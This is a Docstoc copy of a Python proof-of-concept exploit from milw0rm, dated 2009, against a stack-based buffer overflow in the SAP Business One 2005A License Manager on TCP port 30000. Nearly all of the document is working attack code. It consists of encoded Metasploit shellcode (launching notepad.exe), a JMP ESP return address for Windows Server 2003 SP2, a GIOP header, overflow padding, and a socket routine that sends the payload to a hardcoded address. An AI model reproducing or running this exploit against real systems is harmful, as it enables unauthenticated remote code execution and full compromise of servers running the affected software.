Docstoc

SAP Business One 2005A License Manager Remote BOF Exploit

Document Sample
SAP Business One 2005A License Manager Remote BOF Exploit Powered By Docstoc
					                       SAP Business One 2005A License Manager Remote BOF Exploit                        Page 1/1
  1    #!/usr/bin/python
  2    import socket, time
  3
  4
  5    #########################################INFO################################################
  6    # NT_Naming_Service.exe (License Manager 2005 for SAP Business One 2005−A) is                #
  7    # vulnerable to a stack−based buffer overflow allowing for full system compromise by         #
  8    # an unauthenticated user that has TCP/IP access to SAP’s license service on TCP port 30000.#
  9    # Mike Arnold −−−> mikey27 .::at::. hotmail.com                                              #
  10   ############################################################################################
  11
  12
  13   header = ("########################################################################\r\n"
  14   "# SAP Business One 2005−A License Manager remote overflow PoC #\r\n"
  15   "#      Tested on 2005−A (6.80.123) SP:00 PL:06             #\r\n"
  16   "#         2005−A (6.80.320) SP:01 PL:34             #\r\n"
  17   "#       OS: Windows Server 2003 R2 Std/Ent Service Pack 2        #\r\n"
  18   "#       Coded by Bruk0ut − mikey27 .::at::. hotmail.com     #\r\n"
  19   "########################################################################\r\n")
  20
  21
  22   #metasploit windows/exec − notepad.exe x86/shikata_ga_nai 152 bytes
  23   sc = ("\xbf\xd6\x21\x7d\x3b\xda\xdb\xd9\x74\x24\xf4\x33\xc9\x5d\xb1"
  24   "\x20\x31\x7d\x13\x83\xc5\x04\x03\x7d\xd9\xc3\x88\xc7\x0d\x47"
  25   "\x73\x38\xcd\xc3\x36\x04\x46\xaf\xbd\x0c\x59\xbf\x35\xa3\x41"
  26   "\xb4\x15\x1c\x70\x21\xe0\xd7\x46\x3e\xf2\x09\x97\x80\x6c\x79"
  27   "\x53\xc0\xfb\x85\x9a\x0b\x0e\x8b\xde\x67\xe5\xb0\x8a\x53\x02"
  28   "\xb2\xd7\x17\x55\x18\x16\xc3\x0c\xeb\x14\x58\x5a\xb4\x38\x5f"
  29   "\xb7\xc0\x5c\xd4\x46\x3c\xd5\xb6\x6c\xc6\x26\x19\x5c\x30\xc8"
  30   "\xf0\xfa\x37\x4e\xcd\x89\x08\x42\xa6\xfe\x94\xf7\x33\x96\xac"
  31   "\x8e\xbc\xe4\x6d\xfa\x6c\x83\x9d\x70\x88\x0c\x36\x1c\x6f\x38"
  32   "\xc8\x4b\x6f\xda\xbb\x1c\xfb\x40\x34\x83\x67\xa5\xd1\x3b\x0d"
  33   "\xb9\x13")
  34
  35   #JMP ESP 0x773a73fb User32.dll − Server2k3 R2 STD/ENT − SP2
  36   ret = ’\xfb\x73\x3a\x77’
  37   giop_header = ’\x47\x49\x4f\x50\x01\x00\x01\x00’
  38   buff = giop_header + ’\x2f\x5c’ * 500 + "A" * 24 + ret + ’\x90’ * 44 + sc + ’\x90’ * 384
  39
  40   print (header)
  41   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  42   s.connect ((’10.0.0.241’,30000))
  43   s.setblocking(0)
  44
  45   s.send(buff)
  46   time.sleep(1)
  47   print ("done!")
  48
  49   s.close()
  50
  51   # milw0rm.com [2009−08−01]

Bruk0ut                                                                                                 08/01/2009

				
DOCUMENT INFO